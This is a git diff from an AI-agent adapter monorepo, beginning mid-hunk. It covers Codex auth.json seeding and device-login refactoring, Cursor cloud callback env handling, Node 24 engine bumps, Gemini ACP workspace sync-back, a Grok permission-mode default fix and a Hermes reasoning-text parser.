   await fs.mkdir(targetHome, { recursive: true });
 
-  // If a previous run wrote an apikey-mode auth.json (regular file) and this
-  // run has no apiKey, remove it so the chatgpt-mode symlink can be restored.
-  // Without this cleanup, ensureSymlink bails on a non-symlink and Codex keeps
-  // authenticating with the stale key after it is removed from configuration.
+  // A regular-file auth.json in the target home is one of two very different
+  // things. The device-login promotion writes the company credential as a
+  // regular file, and that file is the durable outcome of an interactive login,
+  // so it must survive re-seeding. Everything else — an apikey-mode file left by
+  // a previous run, a stale pre-symlink copy of the shared credential (#5028),
+  // or an unreadable payload — is residue, and removing it lets the chatgpt-mode
+  // symlink be restored (ensureSymlink would otherwise replace it and Codex
+  // would keep authenticating with the stale key).
+  //
+  // The discriminator is identity-anchored, like the promotion and the cache
+  // vend: keep the file only when it holds a usable subscription identity that
+  // the shared source does not also hold. A same-identity regular file is the
+  // #5028 stale copy — the symlink serves the same account with live, rotating
+  // tokens, so it is strictly better. A different-identity (or source-less)
+  // subscription file is the promoted company credential; on a server with no
+  // shared login there is nothing to symlink at all, and deleting it would
+  // silently sign the company out right after a successful device login.
+  let keepPromotedAuth = false;
   if (!apiKey && seedFromShared) {
     const authPath = path.join(targetHome, "auth.json");
     const existing = await fs.lstat(authPath).catch(() => null);
     if (existing && !existing.isSymbolicLink()) {
-      await fs.rm(authPath, { force: true });
+      const targetBytes = await fs.readFile(authPath).catch(() => null);
+      const targetIdentity = targetBytes ? readSubscriptionAccountId(targetBytes) : null;
+      if (targetIdentity) {
+        // Any source read failure — absent or unreadable — keeps the usable
+        // target file. The alternative, removal plus the existence-only
+        // symlink pass below, links the home to a source this process just
+        // failed to read, and every downstream reader (the probe seeding, the
+        // sandbox stage sync, the CLI itself) runs with the same access, so
+        // that home is unusable in every scenario. Keeping the target is
+        // better or equal in each case: a promoted credential keeps working,
+        // and even a stale same-identity copy (#5028) can still work, while
+        // the unreadable symlink cannot. A transient read failure also
+        // self-corrects — the next seed with a readable source heals a
+        // same-identity copy into the symlink — whereas removing the promoted
+        // credential is irreversible. The #5028 heal therefore applies
+        // exactly when the source is readable and the identities match.
+        let sourceReadErrorCode: string | null = null;
+        const sourceBytes = await fs
+          .readFile(path.join(sourceHome, "auth.json"))
+          .catch((error: NodeJS.ErrnoException) => {
+            if (error.code !== "ENOENT" && error.code !== "ENOTDIR") {
+              sourceReadErrorCode = error.code ?? "unknown";
+            }
+            return null;
+          });
+        const sourceIdentity = sourceBytes ? readSubscriptionAccountId(sourceBytes) : null;
+        keepPromotedAuth = sourceIdentity !== targetIdentity;
+        if (keepPromotedAuth && sourceReadErrorCode) {
+          // Deferred heal, made visible: seeding runs before every probe and
+          // every execute, so the next call with a readable source applies
+          // the same-identity symlink heal this call could not decide.
+          await onLog(
+            "stdout",
+            `[paperclip] Keeping the existing subscription auth.json in Codex home "${targetHome}" (shared source read failed: ${sourceReadErrorCode}); the next seed with a readable source reconciles it.\n`,
+          );
+        }
+      }
+      if (keepPromotedAuth) {
+        await onLog(
+          "stdout",
+          `[paperclip] Keeping the promoted subscription auth.json in Codex home "${targetHome}".\n`,
+        );
+      } else {
+        await fs.rm(authPath, { force: true });
+      }
     }
   }
 
   if (seedFromShared) {
     for (const name of SYMLINKED_SHARED_FILES) {
+      // The kept promoted credential is authoritative for this home; the shared
+      // symlink would silently swap the account back to the host login.
+      if (name === "auth.json" && keepPromotedAuth) continue;
       const source = path.join(sourceHome, name);
       if (!(await pathExists(source))) continue;
       await ensureSymlink(path.join(targetHome, name), source);
diff --git a/packages/adapters/codex-local/src/server/device-login-runner.ts b/packages/adapters/codex-local/src/server/device-login-runner.ts
index 2eccde880bf..4c66a702c0e 100644
--- a/packages/adapters/codex-local/src/server/device-login-runner.ts
+++ b/packages/adapters/codex-local/src/server/device-login-runner.ts
@@ -1,3 +1,10 @@
+import {
+  raceLoginRunnerExit,
+  type LoginRunnerDisposable,
+  type LoginRunnerLifecycleOptions,
+  type LoginRunnerOutcome,
+  type LoginRunnerResult,
+} from "@paperclipai/adapter-utils";
 import { parseDeviceLoginPrompt, type DeviceLoginPrompt } from "./device-login-parse.js";
 
 // The device-login runner. It runs the Codex device-login command through an
@@ -35,7 +42,7 @@ const MAX_PARSE_BUFFER_CHARS = 64 * 1024;
  * three methods to a non-persisting Daytona exec path, a file read, and a
  * sandbox delete.
  */
-export interface SandboxLoginDriver {
+export interface SandboxLoginDriver extends LoginRunnerDisposable {
   /**
    * Runs `command` in the sandbox and streams standard output to `onStdout` in
    * memory. Resolves with the command exit code when the command ends. A driver
@@ -44,23 +51,18 @@ export interface SandboxLoginDriver {
   execStreaming(command: string, onStdout: (chunk: string) => void): Promise<{ exitCode: number | null }>;
   /** Reads the bytes of one file from the sandbox. */
   readFile(path: string): Promise<Buffer>;
-  /** Deletes the sandbox and releases its resources. */
-  dispose(): Promise<void>;
 }
 
 /** Receives the parsed prompt one time in memory. The caller displays it. */
 export type DeviceLoginPromptSink = (prompt: DeviceLoginPrompt) => void;
 
-export type DeviceLoginOutcome = "success" | "failure" | "timeout" | "cancelled";
+/** The device-login runner outcome. It is a fixed, non-secret status. */
+export type DeviceLoginOutcome = LoginRunnerOutcome;
 
 /** The runner result. It never carries a URL, a code, or a token byte. */
-export interface DeviceLoginResult {
-  outcome: DeviceLoginOutcome;
-  exitCode: number | null;
-  promptSurfaced: boolean;
-}
+export type DeviceLoginResult = LoginRunnerResult;
 
-export interface RunDeviceLoginOptions {
+export interface RunDeviceLoginOptions extends LoginRunnerLifecycleOptions {
   /** The login command. Defaults to {@link CODEX_DEVICE_LOGIN_COMMAND}. */
   command?: string;
   /** Receives the parsed prompt one time in memory. The caller displays it. */
@@ -73,51 +75,6 @@ export interface RunDeviceLoginOptions {
   onCredential?: (authBytes: Buffer) => void | Promise<void>;
   /** The sandbox path of the credential file to read on success. */
   authPath?: string;
-  /** The host-side timeout in milliseconds. */
-  timeoutMs: number;
-  /** An optional cancellation signal. */
-  signal?: AbortSignal;
-  /** A non-leaking progress sink. It receives only fixed status lines. */
-  log?: (line: string) => void;
-}
-
-type RaceResult =
-  | { kind: "exit"; exitCode: number | null }
-  | { kind: "timeout" }
-  | { kind: "cancelled" };
-
-/**
- * Races the streaming exec against the timeout and the cancellation signal. The
- * exec result resolves the race; the timeout and the signal resolve the race
- * with a terminal status. A driver error rejects the race, so the caller can
- * convert it to a fixed, non-secret error. A late exec rejection after the race
- * already settled is consumed here, so it never becomes an unhandled rejection.
- */
-function raceExec(
-  exec: Promise<{ exitCode: number | null }>,
-  timeoutMs: number,
-  signal: AbortSignal | undefined,
-): Promise<RaceResult> {
-  return new Promise<RaceResult>((resolve, reject) => {
-    let settled = false;
-    const cleanup = () => {
-      clearTimeout(timer);
-      if (signal) signal.removeEventListener("abort", onAbort);
-    };
-    const finish = (run: () => void) => {
-      if (settled) return;
-      settled = true;
-      cleanup();
-      run();
-    };
-    const timer = setTimeout(() => finish(() => resolve({ kind: "timeout" })), timeoutMs);
-    const onAbort = () => finish(() => resolve({ kind: "cancelled" }));
-    if (signal) signal.addEventListener("abort", onAbort, { once: true });
-    exec.then(
-      (value) => finish(() => resolve({ kind: "exit", exitCode: value.exitCode })),
-      (error) => finish(() => reject(error)),
-    );
-  });
 }
 
 /**
@@ -167,7 +124,7 @@ export async function runDeviceLogin(
     }
 
     const exec = driver.execStreaming(command, onStdout);
-    const raced = await raceExec(exec, timeoutMs, signal);
+    const raced = await raceLoginRunnerExit(exec, timeoutMs, signal);
 
     if (raced.kind === "timeout") {
       log("[paperclip] Device login timed out; disposing the sandbox.");
diff --git a/packages/adapters/codex-local/src/server/index.ts b/packages/adapters/codex-local/src/server/index.ts
index 06d14ec968e..9db6ea0bb1a 100644
--- a/packages/adapters/codex-local/src/server/index.ts
+++ b/packages/adapters/codex-local/src/server/index.ts
@@ -32,7 +32,7 @@ export {
   type DeviceLoginResult,
   type RunDeviceLoginOptions,
 } from "./device-login-runner.js";
-export { DEVICE_LOGIN_URL, type DeviceLoginPrompt } from "./device-login-parse.js";
+export { DEVICE_LOGIN_URL, parseDeviceLoginPrompt, type DeviceLoginPrompt } from "./device-login-parse.js";
 export {
   promoteDeviceLoginCredential,
   checkStagedCredentialReadiness,
diff --git a/packages/adapters/codex-local/src/server/test.ts b/packages/adapters/codex-local/src/server/test.ts
index 31820d80250..0e7abe6cee7 100644
--- a/packages/adapters/codex-local/src/server/test.ts
+++ b/packages/adapters/codex-local/src/server/test.ts
@@ -430,9 +430,9 @@ export async function testEnvironment(
             checks.push({
               code: ADAPTER_AUTH_MISSING_CHECK_CODE,
               level: "warn",
-              message: "The sandbox has no ready authentication for this adapter.",
+              message: "This environment has no ready authentication for this adapter.",
               ...(detail ? { detail } : {}),
-              hint: "Provide credentials for this adapter, or start login in the sandbox.",
+              hint: "Provide credentials for this adapter, or start login in the environment.",
             });
           }
         } else {
diff --git a/packages/adapters/cursor-cloud/package.json b/packages/adapters/cursor-cloud/package.json
index 521f8c18f6f..24339e59f4d 100644
--- a/packages/adapters/cursor-cloud/package.json
+++ b/packages/adapters/cursor-cloud/package.json
@@ -50,12 +50,15 @@
     "typecheck": "tsc --noEmit"
   },
   "dependencies": {
-    "@cursor/sdk": "^1.0.24",
+    "@cursor/sdk": "^1.0.28",
     "@paperclipai/adapter-utils": "workspace:*",
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/cursor-cloud/src/server/execute.test.ts b/packages/adapters/cursor-cloud/src/server/execute.test.ts
index 145c4eec0d9..e3b11d990b4 100644
--- a/packages/adapters/cursor-cloud/src/server/execute.test.ts
+++ b/packages/adapters/cursor-cloud/src/server/execute.test.ts
@@ -179,6 +179,9 @@ describe("cursor_cloud execute", () => {
       PAPERCLIP_WAKE_REASON: "issue_commented",
       PAPERCLIP_API_KEY: "paperclip-run-jwt",
     });
+    // When a run JWT is present the callback URL is retained so the worker can
+    // authenticate its Paperclip API calls.
+    expect(createMock.mock.calls[0]?.[0]?.cloud?.envVars).toHaveProperty("PAPERCLIP_API_URL");
     expect(createMock.mock.calls[0]?.[0]?.cloud?.envVars).not.toHaveProperty("CURSOR_API_KEY");
 
     expect(result).toMatchObject({
@@ -204,6 +207,29 @@ describe("cursor_cloud execute", () => {
     );
   });
 
+  it("omits the Paperclip API callback when no run JWT is issued (remote worker cannot call home)", async () => {
+    const run = createMockRun({ agentId: "agent-no-jwt" });
+    const sdkAgent = createMockSdkAgent({ agentId: "agent-no-jwt", sendRun: run });
+    createMock.mockResolvedValue(sdkAgent);
+    // cursor_cloud is registered with supportsLocalAgentJwt=false, so heartbeat
+    // passes no authToken. A remote cloud worker must not receive a callback URL
+    // it can neither reach nor authenticate against (the source of 401 noise).
+    const ctx = createContext({ authToken: undefined });
+
+    await execute(ctx);
+
+    const envVars = (createMock.mock.calls[0]?.[0]?.cloud?.envVars ?? {}) as Record<string, string>;
+    expect(envVars).not.toHaveProperty("PAPERCLIP_API_KEY");
+    expect(envVars).not.toHaveProperty("PAPERCLIP_API_URL");
+    expect(envVars).not.toHaveProperty("PAPERCLIP_API_BRIDGE_MODE");
+    // Informational Paperclip env (non-credential) still flows through.
+    expect(envVars).toMatchObject({
+      PAPERCLIP_RUN_ID: "run-heartbeat-1",
+      PAPERCLIP_AGENT_ID: "agent-1",
+      PAPERCLIP_COMPANY_ID: "company-1",
+    });
+  });
+
   it("resumes a matching saved session when no active run can be reattached", async () => {
     getRunMock.mockResolvedValue(createMockRun({ status: "finished" }));
     const resumedRun = createMockRun({ id: "run-resumed", agentId: "agent-resumed" });
diff --git a/packages/adapters/cursor-cloud/src/server/execute.ts b/packages/adapters/cursor-cloud/src/server/execute.ts
index e5309cdefcf..97cbb9312b2 100644
--- a/packages/adapters/cursor-cloud/src/server/execute.ts
+++ b/packages/adapters/cursor-cloud/src/server/execute.ts
@@ -135,6 +135,20 @@ function buildWakeEnv(ctx: AdapterExecutionContext, configEnv: Record<string, st
     env.PAPERCLIP_API_KEY = authToken;
   }
 
+  // cursor_cloud runs remotely in Cursor's cloud and is intentionally not
+  // issued a Paperclip run JWT (registry: supportsLocalAgentJwt=false).
+  // buildPaperclipEnv always sets PAPERCLIP_API_URL, defaulting to the local
+  // runtime host — which a remote worker can neither reach nor authenticate
+  // against, so any agent-initiated Paperclip API call would fail with a 401
+  // (or be unreachable) and add noise. When there is no usable key, drop the
+  // callback wiring so cloud-side Paperclip tools degrade to a clean no-op.
+  // Run results are delivered server-side via the Cursor Agent SDK (getRun /
+  // wait), not through this callback, so nothing is lost.
+  if (!trimNullable(env.PAPERCLIP_API_KEY)) {
+    delete env.PAPERCLIP_API_URL;
+    delete env.PAPERCLIP_API_BRIDGE_MODE;
+  }
+
   const workspace = parseObject(context.paperclipWorkspace);
   const workspaceMappings: Array<[string, unknown]> = [
     ["PAPERCLIP_WORKSPACE_CWD", workspace.cwd],
diff --git a/packages/adapters/cursor-local/package.json b/packages/adapters/cursor-local/package.json
index b54dd563c0f..45f7cd846f5 100644
--- a/packages/adapters/cursor-local/package.json
+++ b/packages/adapters/cursor-local/package.json
@@ -55,7 +55,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/gemini-local/package.json b/packages/adapters/gemini-local/package.json
index 2a4c1211b63..787e5ba00cd 100644
--- a/packages/adapters/gemini-local/package.json
+++ b/packages/adapters/gemini-local/package.json
@@ -55,7 +55,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/gemini-local/src/index.ts b/packages/adapters/gemini-local/src/index.ts
index d4f99331bef..e895c661020 100644
--- a/packages/adapters/gemini-local/src/index.ts
+++ b/packages/adapters/gemini-local/src/index.ts
@@ -68,7 +68,7 @@ Operational fields:
 - graceSec (number, optional): SIGTERM grace period in seconds
 
 Notes:
-- Gemini ACP is the preferred auto lane when Node >=20 and the local Gemini CLI command is available. It runs Gemini CLI's native \`gemini --acp\` server through Paperclip's shared ACP engine, including selected skill links, Paperclip runtime prompt/env guidance, model config, and persistent ACP session state. Auto selection falls back to the CLI lane when ACP prerequisites are unavailable; explicit engine="acp" fails loudly.
+- Gemini ACP is the preferred auto lane when Node >=24.11.0 and the local Gemini CLI command is available. It runs Gemini CLI's native \`gemini --acp\` server through Paperclip's shared ACP engine, including selected skill links, Paperclip runtime prompt/env guidance, model config, and persistent ACP session state. Auto selection falls back to the CLI lane when ACP prerequisites are unavailable; explicit engine="acp" fails loudly.
 - Runs use --prompt for non-interactive execution, not stdin.
 - The adapter sets a headless-safe terminal/browser environment for Gemini CLI child processes so unattended runs do not wait on browser auth or 256-color terminal prompts.
 - Sessions resume with --resume when stored session cwd matches the current cwd.
diff --git a/packages/adapters/gemini-local/src/server/acp.test.ts b/packages/adapters/gemini-local/src/server/acp.test.ts
index 8ee4001a1d9..27ce706f824 100644
--- a/packages/adapters/gemini-local/src/server/acp.test.ts
+++ b/packages/adapters/gemini-local/src/server/acp.test.ts
@@ -244,9 +244,9 @@ describe("gemini_local ACP lane", () => {
   });
 
   it("checks the Node version required by the Gemini ACP runtime", () => {
-    setNodeVersion("v19.9.0");
+    setNodeVersion("v24.10.0");
     expect(nodeVersionMeetsGeminiAcpMinimum()).toBe(false);
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
     expect(nodeVersionMeetsGeminiAcpMinimum()).toBe(true);
   });
 
@@ -255,7 +255,7 @@ describe("gemini_local ACP lane", () => {
     const commandPath = path.join(root, "bin", "gemini");
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
 
     expect(resolveGeminiExecutionEngine({})).toEqual({ engine: "acp", explicit: false });
     await expect(
@@ -275,7 +275,7 @@ describe("gemini_local ACP lane", () => {
       explicit: true,
     });
 
-    setNodeVersion("v19.9.0");
+    setNodeVersion("v24.10.0");
     await expect(
       resolveGeminiExecutionEngineForRun({
         config: { command: commandPath },
@@ -295,7 +295,7 @@ describe("gemini_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for non-sandbox remote auto runs", async () => {
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveGeminiExecutionEngineForRun({
         config: { agentCommand: "gemini --acp" },
@@ -323,7 +323,7 @@ describe("gemini_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for one-shot sandbox auto runs", async () => {
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveGeminiExecutionEngineForRun({
         config: {},
@@ -342,7 +342,7 @@ describe("gemini_local ACP lane", () => {
   });
 
   it("uses ACP for bridged sandbox auto runs when the ACP command is configured as a shell command", async () => {
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveGeminiExecutionEngineForRun({
         config: { agentCommand: "gemini --acp" },
@@ -551,6 +551,68 @@ describe("gemini_local ACP lane", () => {
     expect(Object.keys(meta[0]?.env ?? {}).filter((key) => key.startsWith("XDG_"))).toEqual([]);
   });
 
+  it("test_gemini_acp_seam_registers_workspace_sync_back", async () => {
+    const root = await makeTempRoot("paperclip-gemini-acp-syncback-");
+    const localCwd = path.join(root, "worktree");
+    const remoteCwd = path.join(root, "remote-workspace");
+    await fs.mkdir(localCwd, { recursive: true });
+    await fs.mkdir(remoteCwd, { recursive: true });
+    await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+
+    // The runtime writes a NEW file into the in-sandbox workspace during the turn.
+    // The seam must register a workspace sync-back teardown, so the file lands in
+    // the host worktree after the run.
+    const runtime = new FakeRuntime({});
+    const startTurn = runtime.startTurn.bind(runtime);
+    runtime.startTurn = (input) => {
+      const turn = startTurn(input);
+      const remoteWorkspaceCwd = input.handle.cwd ?? remoteCwd;
+      return {
+        ...turn,
+        result: (async () => {
+          await fs.writeFile(path.join(remoteWorkspaceCwd, "from-sandbox.txt"), "synced", "utf8");
+          return await turn.result;
+        })(),
+      };
+    };
+
+    const execute = createGeminiAcpExecutor({
+      createRuntime: (options) => {
+        Object.assign(runtime.options, options);
+        return runtime as never;
+      },
+    });
+
+    const result = await execute(
+      buildContext(localCwd, {
+        config: {
+          engine: "acp",
+          cwd: localCwd,
+          agentCommand: "node ./fake-acp.js",
+          stateDir: path.join(root, "state"),
+          promptTemplate: "Do the assigned work.",
+        },
+        context: {
+          issueId: "issue-1",
+          paperclipWorkspace: { cwd: localCwd, source: "project_workspace", workspaceId: "workspace-1" },
+        },
+        executionTarget: {
+          kind: "remote",
+          transport: "sandbox",
+          providerKey: "fake-plugin",
+          remoteCwd,
+          runner: createLocalSandboxRunner(),
+        } as never,
+        authToken: "real-run-jwt",
+      }),
+    );
+
+    expect(result.exitCode).toBe(0);
+    // The teardown fired `restoreWorkspace`, so the sandbox-authored file is now
+    // in the host worktree.
+    await expect(fs.readFile(path.join(localCwd, "from-sandbox.txt"), "utf8")).resolves.toBe("synced");
+  });
+
   it("does not persist an api-key auth selector from a host-only credential", async () => {
     const root = await makeTempRoot("paperclip-gemini-acp-hostkey-");
     const localCwd = path.join(root, "worktree");
@@ -619,7 +681,7 @@ describe("gemini_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for a runner-less sandbox even when the ACP command is set", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveGeminiExecutionEngineForRun({
         config: { agentCommand: "gemini --acp" },
@@ -644,7 +706,7 @@ describe("gemini_local ACP lane", () => {
     await fs.writeFile(path.join(bin, "gemini"), "#!/usr/bin/env sh\n", "utf8");
     process.env.PATH = `${bin}${path.delimiter}${process.env.PATH ?? ""}`;
     process.env.GEMINI_API_KEY = "test-key";
-    setNodeVersion("v20.0.0");
+    setNodeVersion("v24.11.0");
 
     const result = await testGeminiAcpEnvironment({
       adapterType: "gemini_local",
diff --git a/packages/adapters/gemini-local/src/server/acp.ts b/packages/adapters/gemini-local/src/server/acp.ts
index ea07c647e7a..f169b458019 100644
--- a/packages/adapters/gemini-local/src/server/acp.ts
+++ b/packages/adapters/gemini-local/src/server/acp.ts
@@ -35,7 +35,7 @@ import { DEFAULT_GEMINI_LOCAL_MODEL } from "../index.js";
 
 const moduleDir = path.dirname(fileURLToPath(import.meta.url));
 const packageRootDir = path.resolve(moduleDir, "../..");
-const MIN_ACP_NODE_VERSION = "20.0.0";
+const MIN_ACP_NODE_VERSION = "24.11.0";
 
 export type GeminiExecutionEngine = "cli" | "acp";
 
@@ -149,12 +149,32 @@ function resolveGeminiSkillsHome(config: Record<string, unknown>): string {
  *
  * The seed never writes key bytes: the key is only read as a boolean signal to
  * decide whether to persist the auth-method selector. Gemini has no credential
- * copy-back, so no teardown hook.
+ * copy-back. The teardown hook therefore only syncs the sandbox workspace back to
+ * the host; it does not touch credentials.
  */
 async function prepareGeminiRemoteManagedHome(
   input: AcpxRemoteManagedHomeContext,
 ): Promise<AcpxRemoteManagedHomeResult> {
   const { env, runId, onLog, executionTarget } = input;
+  // Fail-open workspace sync-back for every exit path (mirrors the Gemini CLI
+  // lane's restore-hook finally and the Codex ACP seam's teardown). Gemini has no
+  // credential copy-back, so the teardown only syncs the sandbox workspace back to
+  // the host. A restore miss is logged and never fails the run.
+  const registerWorkspaceSyncBack = (
+    stagedRuntime: AcpxRemoteManagedHomeResult["stagedRuntime"],
+  ): AcpxRemoteManagedHomeResult["teardown"] => async () => {
+    try {
+      await onLog("stdout", "[paperclip] Restoring workspace changes from the sandbox.\n");
+      await stagedRuntime.restoreWorkspace((line) => onLog("stdout", line));
+    } catch (err) {
+      await onLog(
+        "stderr",
+        `[paperclip] Gemini ACP teardown workspace restore failed: ${
+          err instanceof Error ? err.message : String(err)
+        }\n`,
+      );
+    }
+  };
   const geminiSkillsHome = resolveGeminiSkillsHome(input.config);
   const stagedRuntime = await input.stage(
     geminiSkillsHome
@@ -168,8 +188,9 @@ async function prepareGeminiRemoteManagedHome(
   const managedRemoteHomeDir = stagedRuntime.runtimeRootDir;
   if (!managedRemoteHomeDir) {
     // No runtime root resolved — leave HOME as-is (host fallback) and skip the
-    // in-sandbox seed; nothing to remap onto.
-    return { stagedRuntime };
+    // in-sandbox seed; nothing to remap onto. The workspace still staged, so the
+    // sync-back teardown still applies.
+    return { stagedRuntime, teardown: registerWorkspaceSyncBack(stagedRuntime) };
   }
   env.HOME = managedRemoteHomeDir;
 
@@ -222,7 +243,7 @@ async function prepareGeminiRemoteManagedHome(
     );
   }
 
-  return { stagedRuntime };
+  return { stagedRuntime, teardown: registerWorkspaceSyncBack(stagedRuntime) };
 }
 
 function withGeminiAcpDefaults(options: GeminiAcpExecutorOptions): AcpxEngineExecutorOptions {
diff --git a/packages/adapters/grok-local/package.json b/packages/adapters/grok-local/package.json
index fc3d6f4a711..70043ee0a2b 100644
--- a/packages/adapters/grok-local/package.json
+++ b/packages/adapters/grok-local/package.json
@@ -54,7 +54,10 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/grok-local/src/index.ts b/packages/adapters/grok-local/src/index.ts
index 9e50feed8ff..492464edd9f 100644
--- a/packages/adapters/grok-local/src/index.ts
+++ b/packages/adapters/grok-local/src/index.ts
@@ -26,7 +26,7 @@ Core fields:
 - instructionsFilePath (string, optional): absolute path to a markdown instructions file. Paperclip stages it into the execution workspace as \`Agents.md\` when safe, otherwise falls back to \`--rules @file\`
 - promptTemplate (string, optional): run prompt template
 - model (string, optional): Grok model id. Defaults to grok-build.
-- permissionMode (string, optional): Grok permission mode. Defaults to \`dontAsk\`
+- permissionMode (string, optional): Grok permission mode passed via \`--permission-mode\`. Unset by default: Grok >= 1.0 enforces \`dontAsk\` as deny-by-default and it overrides \`--always-approve\`, so unattended runs rely on \`--always-approve\` alone unless you explicitly need a mode
 - reasoningEffort (string, optional): Grok reasoning effort passed via \`--reasoning-effort\`
 - maxTurns (number, optional): maximum agent turns for the run
 - command (string, optional): defaults to "grok"
diff --git a/packages/adapters/grok-local/src/server/execute.test.ts b/packages/adapters/grok-local/src/server/execute.test.ts
index 2b03c7dcbdc..46899fec541 100644
--- a/packages/adapters/grok-local/src/server/execute.test.ts
+++ b/packages/adapters/grok-local/src/server/execute.test.ts
@@ -71,10 +71,11 @@ describe("grok_local execute", () => {
           "--output-format",
           "streaming-json",
           "--always-approve",
-          "--permission-mode",
-          "dontAsk",
         ]),
       );
+      // Grok >= 1.0 enforces `dontAsk` as deny-by-default over --always-approve,
+      // so no permission mode may be passed unless explicitly configured.
+      expect(args).not.toContain("--permission-mode");
       expect(await fs.readFile(path.join(root, "Agents.md"), "utf8")).toContain("You are Grok.");
       expect(await pathExists(path.join(root, ".claude", "skills", "paperclip", "SKILL.md"))).toBe(true);
       await options.onLog?.("stdout", '{"type":"text","data":"done"}\n');
@@ -203,6 +204,42 @@ describe("grok_local execute", () => {
     }
   });
 
+  it("passes an explicitly configured permissionMode through to the CLI", async () => {
+    let seenArgs: string[] = [];
+    runProcessMock.mockImplementation(async (_runId, _target, _command, args) => {
+      seenArgs = args;
+      return {
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: JSON.stringify({ type: "end", stopReason: "EndTurn", sessionId: "sess-1", requestId: "req-1" }),
+        stderr: "",
+      };
+    });
+
+    const ctx: AdapterExecutionContext = {
+      runId: "run-permission-mode",
+      agent: {
+        id: "agent-1",
+        companyId: "company-1",
+        name: "Grok Agent",
+        adapterType: "grok_local",
+        adapterConfig: {},
+      },
+      runtime: { sessionId: null, sessionParams: null, sessionDisplayId: null, taskKey: null },
+      config: { cwd: await makeTempRoot(), permissionMode: "bypassPermissions" },
+      context: {},
+      authToken: "run-token",
+      onLog: async () => {},
+    };
+
+    await execute(ctx);
+
+    const flagIndex = seenArgs.indexOf("--permission-mode");
+    expect(flagIndex).toBeGreaterThan(-1);
+    expect(seenArgs[flagIndex + 1]).toBe("bypassPermissions");
+  });
+
   it("cleans up staged assets when setup fails before the Grok process starts", async () => {
     const root = await makeTempRoot();
     const instructionsPath = path.join(root, "managed", "AGENTS.md");
diff --git a/packages/adapters/grok-local/src/server/execute.ts b/packages/adapters/grok-local/src/server/execute.ts
index e82ff1cec6e..72ab25d6b0f 100644
--- a/packages/adapters/grok-local/src/server/execute.ts
+++ b/packages/adapters/grok-local/src/server/execute.ts
@@ -203,7 +203,11 @@ export async function execute(ctx: AdapterExecutionContext): Promise<AdapterExec
   );
   const command = asString(config.command, "grok");
   const model = asString(config.model, DEFAULT_GROK_LOCAL_MODEL).trim();
-  const permissionMode = asString(config.permissionMode, "dontAsk").trim() || "dontAsk";
+  // No default permission mode: Grok >= 1.0 enforces `dontAsk` as
+  // deny-by-default and it overrides --always-approve, so passing it broke
+  // every unattended run (the first tool call died with "User cancelled the
+  // execution for tool ..."). --always-approve alone is the unattended policy.
+  const permissionMode = asString(config.permissionMode, "").trim();
   const reasoningEffort = asString(config.reasoningEffort, "").trim();
   const maxTurns = asNumber(config.maxTurns, 0);
   const alwaysApprove = asBoolean(config.alwaysApprove, true);
diff --git a/packages/adapters/hermes-gateway/package.json b/packages/adapters/hermes-gateway/package.json
index 2353ec2d728..02c49f0e8bc 100644
--- a/packages/adapters/hermes-gateway/package.json
+++ b/packages/adapters/hermes-gateway/package.json
@@ -71,11 +71,11 @@
     "@paperclipai/hermes-paperclip-adapter": "workspace:*"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
   },
   "engines": {
-    "node": ">=20.0.0"
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/hermes/gateway-ui-parser.cjs b/packages/adapters/hermes/gateway-ui-parser.cjs
index 4654dbdef87..5d67ff4ce07 100644
--- a/packages/adapters/hermes/gateway-ui-parser.cjs
+++ b/packages/adapters/hermes/gateway-ui-parser.cjs
@@ -23,6 +23,31 @@ function asString(value) {
   return typeof value === "string" ? value : "";
 }
 
+// Pull the reasoning text out of a `reasoning.available` event payload.
+// The exact field name is defined by the external Hermes gateway, so this
+// checks the plausible field names (mirroring the fallback chain used by
+// extractOutput() in gateway/server/execute.ts) and recurses one level into
+// nested `data` / `payload` records.
+function extractDirectReasoningText(data) {
+  return (
+    asString(data.reasoning).trim() ||
+    asString(data.reasoning_text).trim() ||
+    asString(data.thinking).trim() ||
+    asString(data.text).trim() ||
+    asString(data.summary).trim() ||
+    asString(data.content).trim()
+  );
+}
+
+function extractReasoningText(data) {
+  if (!data) return "";
+  const direct = extractDirectReasoningText(data);
+  if (direct) return stripAnsi(direct);
+  const nested = asRecord(data.data) || asRecord(data.payload);
+  const nestedDirect = nested ? extractDirectReasoningText(nested) : "";
+  return nestedDirect ? stripAnsi(nestedDirect) : "";
+}
+
 function parseStdoutLine(line, ts) {
   const cleaned = stripAnsi(line);
   const trimmed = cleaned.trim();
@@ -41,7 +66,8 @@ function parseStdoutLine(line, ts) {
       return [{ kind: "stderr", ts, text: message }];
     }
     if (eventName === "reasoning.available") {
